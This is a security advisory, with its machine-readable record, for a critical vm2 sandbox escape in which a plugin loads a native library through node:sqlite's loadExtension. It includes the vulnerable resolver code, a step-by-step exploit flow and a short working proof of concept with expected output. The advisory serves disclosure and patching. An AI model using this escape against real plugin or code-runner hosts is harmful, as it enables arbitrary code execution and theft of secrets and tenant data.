GHSA-6W8R-XXW2-G3HX

Vulnerability from github – Published: 2026-10-01 15:29 – Updated: 2026-10-01 15:29
VLAI
Summary
vm2 allows a sandboxed plugin to execute native code through `node:sqlite`
Details

Summary

vm2 3.11.6 exposes Node.js's host node:sqlite module to NodeVM code when that builtin is allowed explicitly or through builtin: ['*']. The module is wrapped as read-only, but callable methods retain host-process authority. A sandboxed plugin can construct an in-memory database with extension loading enabled and call DatabaseSync.loadExtension() on a native library bundled in the plugin directory.

SQLite loads the library into the Node.js host process and invokes its native extension entry point. This gives the untrusted plugin arbitrary native code execution outside the sandbox.

The exploit needs only the node:sqlite builtin and a compatible native library already present in the untrusted plugin package. It does not require fs, process, module, child_process, worker_threads, vm, inspector, vm2 nesting, or an existing database file.

Details

The vulnerable boundary spans the builtin inventory, resolver, runtime loader, and generic read-only wrapper.

On current Node.js versions, the builtin inventory contains the literal name node:sqlite. vm2 admits that name when it is explicitly configured or when the wildcard allowlist is expanded:

const BUILTIN_MODULES = module.builtinModules.filter(/* denylist checks */);

The resolver then treats every request beginning with node: as a core-module request, even if the complete request string is not an allowlist key:

if (x.startsWith('node:') || this.builtins.has(x)) {
  return x;
}

The sandbox runtime removes exactly one node: prefix and looks up the remainder in the configured builtin map:

if (filename.startsWith('node:')) {
  id = filename.slice(5);
  return loadBuiltinModule(id);
}

Consequently, the sandbox spelling below resolves to the configured map entry node:sqlite:

require('node:node:sqlite')

The default builtin loader imports the real module in the host realm and exposes it through vm.readonly():

builtins.set(key, vm => vm.readonly(hostRequire(key)));

Read-only wrapping prevents property assignment. It does not remove dangerous callable capabilities. Calls to DatabaseSync and loadExtension() are forwarded to the host implementation.

The complete exploit flow is:

attacker supplies an untrusted plugin package containing JavaScript and a native library
  -> host runs the JavaScript in NodeVM with node:sqlite allowed
  -> plugin resolves the host module as node:node:sqlite
  -> plugin creates an in-memory DatabaseSync with allowExtension enabled
  -> plugin derives the bundled library path from its own __dirname
  -> plugin calls database.loadExtension(libraryPath)
  -> vm2 forwards the call to host SQLite
  -> SQLite loads the library into the Node.js host process
  -> SQLite invokes the library's native extension entry point
  -> attacker native code executes with the host process's privileges

The path does not need to be read through a sandboxed filesystem API. CommonJS already supplies the plugin's own directory, so an attacker can concatenate __dirname with the known name of a bundled library. The host necessarily places the untrusted plugin package on disk before evaluating its JavaScript.

PoC

The attached PoC is local and harmless. Its native extension entry point writes one marker file and returns success. It does not launch a process, connect to a network service, or modify any other file.

Prerequisites: macOS, Node.js with node:sqlite, npm, and a C compiler.

  1. Open the attached poc directory.
  2. Install the exact affected package:

bash npm install --ignore-scripts

  1. Compile and run the proof:

bash npm run poc

The script compiles extension_probe.c as libvm2_sqlite_probe.dylib, then runs untrusted-plugin.js in this restrictive configuration:

new NodeVM({
  console: 'off',
  require: { builtin: ['node:sqlite'] },
});

The sandboxed plugin performs only:

const { DatabaseSync } = require('node:node:sqlite');
const database = new DatabaseSync(':memory:', { allowExtension: true });
database.loadExtension(__dirname + '/libvm2_sqlite_probe.dylib');
database.close();

A vulnerable result is:

{
  "sandboxResult": {
    "nativeExtensionLoaded": true,
    "usedOnlySQLiteBuiltin": true
  },
  "markerExists": true,
  "markerText": "VM2_SQLITE_EXTENSION_ENTRYPOINT_EXECUTED"
}

The marker is written from the compiled native extension entry point, not from JavaScript. loadExtension() also returns successfully, proving that SQLite both loaded the library and invoked its entry point.

Impact

This is a sandbox escape to arbitrary native code execution. The native code runs inside the Node.js host process with the operating-system identity and privileges of that process, beyond all vm2 JavaScript, module, and proxy restrictions.

An attacker can replace the marker-only extension with native code that:

  • reads application secrets, credentials, environment variables, and files available to the host account;
  • modifies application data or executable files and establishes persistence;
  • accesses internal services using the host's network identity;
  • steals other tenants' data from the same process;
  • terminates or corrupts the host process; and
  • performs any other operating-system action permitted to the host account.

The realistic affected workflow is a plugin platform, automation service, notebook, build service, or multi-tenant code runner that stores attacker-supplied package contents and evaluates the package's JavaScript in NodeVM while allowing node:sqlite or all builtins. The attacker does not need pre-existing host execution, a writable database, or a command-execution builtin.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.11.3"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:29:04Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nvm2 3.11.6 exposes Node.js\u0027s host `node:sqlite` module to `NodeVM` code when that builtin is allowed explicitly or through `builtin: [\u0027*\u0027]`. The module is wrapped as read-only, but callable methods retain host-process authority. A sandboxed plugin can construct an in-memory database with extension loading enabled and call `DatabaseSync.loadExtension()` on a native library bundled in the plugin directory.\n\nSQLite loads the library into the Node.js host process and invokes its native extension entry point. This gives the untrusted plugin arbitrary native code execution outside the sandbox.\n\nThe exploit needs only the `node:sqlite` builtin and a compatible native library already present in the untrusted plugin package. It does not require `fs`, `process`, `module`, `child_process`, `worker_threads`, `vm`, `inspector`, vm2 nesting, or an existing database file.\n\n### Details\n\nThe vulnerable boundary spans the builtin inventory, resolver, runtime loader, and generic read-only wrapper.\n\nOn current Node.js versions, the builtin inventory contains the literal name `node:sqlite`. vm2 admits that name when it is explicitly configured or when the wildcard allowlist is expanded:\n\n```js\nconst BUILTIN_MODULES = module.builtinModules.filter(/* denylist checks */);\n```\n\nThe resolver then treats every request beginning with `node:` as a core-module request, even if the complete request string is not an allowlist key:\n\n```js\nif (x.startsWith(\u0027node:\u0027) || this.builtins.has(x)) {\n  return x;\n}\n```\n\nThe sandbox runtime removes exactly one `node:` prefix and looks up the remainder in the configured builtin map:\n\n```js\nif (filename.startsWith(\u0027node:\u0027)) {\n  id = filename.slice(5);\n  return loadBuiltinModule(id);\n}\n```\n\nConsequently, the sandbox spelling below resolves to the configured map entry `node:sqlite`:\n\n```js\nrequire(\u0027node:node:sqlite\u0027)\n```\n\nThe default builtin loader imports the real module in the host realm and exposes it through `vm.readonly()`:\n\n```js\nbuiltins.set(key, vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nRead-only wrapping prevents property assignment. It does not remove dangerous callable capabilities. Calls to `DatabaseSync` and `loadExtension()` are forwarded to the host implementation.\n\nThe complete exploit flow is:\n\n```text\nattacker supplies an untrusted plugin package containing JavaScript and a native library\n  -\u003e host runs the JavaScript in NodeVM with node:sqlite allowed\n  -\u003e plugin resolves the host module as node:node:sqlite\n  -\u003e plugin creates an in-memory DatabaseSync with allowExtension enabled\n  -\u003e plugin derives the bundled library path from its own __dirname\n  -\u003e plugin calls database.loadExtension(libraryPath)\n  -\u003e vm2 forwards the call to host SQLite\n  -\u003e SQLite loads the library into the Node.js host process\n  -\u003e SQLite invokes the library\u0027s native extension entry point\n  -\u003e attacker native code executes with the host process\u0027s privileges\n```\n\nThe path does not need to be read through a sandboxed filesystem API. CommonJS already supplies the plugin\u0027s own directory, so an attacker can concatenate `__dirname` with the known name of a bundled library. The host necessarily places the untrusted plugin package on disk before evaluating its JavaScript.\n\n### PoC\n\nThe attached PoC is local and harmless. Its native extension entry point writes one marker file and returns success. It does not launch a process, connect to a network service, or modify any other file.\n\nPrerequisites: macOS, Node.js with `node:sqlite`, npm, and a C compiler.\n\n1. Open the attached `poc` directory.\n2. Install the exact affected package:\n\n   ```bash\n   npm install --ignore-scripts\n   ```\n\n3. Compile and run the proof:\n\n   ```bash\n   npm run poc\n   ```\n\nThe script compiles `extension_probe.c` as `libvm2_sqlite_probe.dylib`, then runs `untrusted-plugin.js` in this restrictive configuration:\n\n```js\nnew NodeVM({\n  console: \u0027off\u0027,\n  require: { builtin: [\u0027node:sqlite\u0027] },\n});\n```\n\nThe sandboxed plugin performs only:\n\n```js\nconst { DatabaseSync } = require(\u0027node:node:sqlite\u0027);\nconst database = new DatabaseSync(\u0027:memory:\u0027, { allowExtension: true });\ndatabase.loadExtension(__dirname + \u0027/libvm2_sqlite_probe.dylib\u0027);\ndatabase.close();\n```\n\nA vulnerable result is:\n\n```json\n{\n  \"sandboxResult\": {\n    \"nativeExtensionLoaded\": true,\n    \"usedOnlySQLiteBuiltin\": true\n  },\n  \"markerExists\": true,\n  \"markerText\": \"VM2_SQLITE_EXTENSION_ENTRYPOINT_EXECUTED\"\n}\n```\n\nThe marker is written from the compiled native extension entry point, not from JavaScript. `loadExtension()` also returns successfully, proving that SQLite both loaded the library and invoked its entry point.\n\n### Impact\n\nThis is a sandbox escape to arbitrary native code execution. The native code runs inside the Node.js host process with the operating-system identity and privileges of that process, beyond all vm2 JavaScript, module, and proxy restrictions.\n\nAn attacker can replace the marker-only extension with native code that:\n\n- reads application secrets, credentials, environment variables, and files available to the host account;\n- modifies application data or executable files and establishes persistence;\n- accesses internal services using the host\u0027s network identity;\n- steals other tenants\u0027 data from the same process;\n- terminates or corrupts the host process; and\n- performs any other operating-system action permitted to the host account.\n\nThe realistic affected workflow is a plugin platform, automation service, notebook, build service, or multi-tenant code runner that stores attacker-supplied package contents and evaluates the package\u0027s JavaScript in `NodeVM` while allowing `node:sqlite` or all builtins. The attacker does not need pre-existing host execution, a writable database, or a command-execution builtin.",
  "id": "GHSA-6w8r-xxw2-g3hx",
  "modified": "2026-10-01T15:29:04Z",
  "published": "2026-10-01T15:29:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6w8r-xxw2-g3hx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/aa146a77f859325e079f3bfbfe6d8309af483daa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-3.11.3-through-3.11.6-remote-code-execution-via-node-sqlite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 allows a sandboxed plugin to execute native code through `node:sqlite`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.